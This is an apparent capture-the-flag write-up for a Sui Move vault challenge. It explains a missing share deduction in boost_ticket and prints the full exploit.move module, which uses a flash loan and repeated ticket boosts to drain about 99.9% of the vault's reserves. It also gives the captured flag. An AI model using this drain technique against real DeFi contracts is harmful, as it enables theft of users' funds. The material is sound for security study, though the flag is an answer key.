Recursion Vault - Blockchain
Points: 500 | Flag: BITSCTF{a58578ae3ad9e8bc00dc0369f0cbc03f} | Solved by: Smothy @ 0xN1umb

what we got
Sui Move smart contract challenge. We get a vault contract (vault.move) holding 10 billion SUI tokens. Goal: drain 90%+ of it by writing an exploit.move module.
The vault has the usual DeFi stuff - deposits, shares, withdraw tickets, flash loans. Classic share-based vault accounting.
public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext)
no coins passed in, so we gotta bootstrap everything from the vault itself lol
the solve
ok so i started reading through every function and immediately noticed something sus in boost_ticket:
public fun boost_ticket(
vault: &Vault,
account: &mut UserAccount,
ticket: WithdrawTicket,
boost_shares: u64,
ctx: &mut TxContext
): WithdrawTicket {
assert!(boost_shares <= account.shares, E_INSUFFICIENT_BALANCE);
// literally just... adds to the ticket
// never does account.shares -= boost_shares <--- BUG RIGHT HERE
WithdrawTicket {
amount: amount + boost_shares,
...
}
}compare this to create_ticket which correctly does account.shares = account.shares - amount. the boost_ticket function checks you HAVE the shares but never takes them away. infinite money glitch fr fr

so the play is:
- flash loan 100M SUI from the vault (we start with nothing, gotta get coins somehow)
- deposit those 100M back into the vault -> get ~101M shares (because reserves dropped from the flash loan, so shares/reserves ratio is slightly favorable)
- create ticket with just 1 share, keeping ~101M shares in the account
- boost that ticket 100 times with those ~101M shares - they never get deducted so we just keep reusing the same shares lmaooo
- ticket amount goes from 1 -> 10.1 BILLION shares
- finalize withdraw - payout =
ticket_amount * reserves / total_shares= basically ALL the reserves (~10B SUI) - split off 100,090,000 to repay the flash loan (100M + 90K fee)
- keep the ~9.9B profit, vault left with dust
the math works out perfectly:
- flash loan 100M -> fee is 90K (9 bps)
- after deposit: 10B reserves, ~10.1B total_shares
- after 100 boosts: ticket = ~10.1B shares
- payout = ~9,999,999,900 SUI (basically everything)
- vault ends with ~100K SUI -> 99.9% drained
ngl this was clean, the whole thing fits in one transaction
exploit.move
module solution::exploit {
use challenge::vault::{Self, Vault};
use sui::clock::Clock;
use sui::tx_context::{Self, TxContext};
use sui::coin;
use sui::transfer;
public fun solve(vault: &mut Vault, clock: &Clock, ctx: &mut TxContext) {
// flash loan 100M from vault
let (loan_coin, receipt) = vault::flash_loan(vault, 100_000_000, ctx);
// deposit to get shares
let mut account = vault::create_account(ctx);
vault::deposit(vault, &mut account, loan_coin, ctx);
// create ticket with 1 share, keep the rest for boosting
let mut ticket = vault::create_ticket(vault, &mut account, 1, clock, ctx);
// boost_ticket never deducts shares - reuse them 100 times
let boost_amount = vault::user_shares(&account);
let mut i = 0;
while (i < 100) {
ticket = vault::boost_ticket(vault, &mut account, ticket, boost_amount, ctx);
i = i + 1;
};
// withdraw with inflated ticket - drains everything
let mut withdrawn = vault::finalize_withdraw(vault, &mut account, ticket, clock, ctx);
// repay flash loan (100M + 90K fee)
let repay_coin = coin::split(&mut withdrawn, 100_090_000, ctx);
vault::repay_loan(vault, repay_coin, receipt);
// yoink the rest
transfer::public_transfer(withdrawn, tx_context::sender(ctx));
vault::destroy_account(account);
}
}submitted it to the server (nc, send file size, send source code) and:
[+] Executed successfully! Vault drained.
FLAG: BITSCTF{a58578ae3ad9e8bc00dc0369f0cbc03f}
first try btw
flag
BITSCTF{a58578ae3ad9e8bc00dc0369f0cbc03f}

classic missing state update bug. the devs checked boost_shares <= account.shares but forgot to actually subtract them. one missing line turned the whole vault into a money printer. DeFi security is no joke man, this is literally how real protocols get drained for millions
smothy out ✌️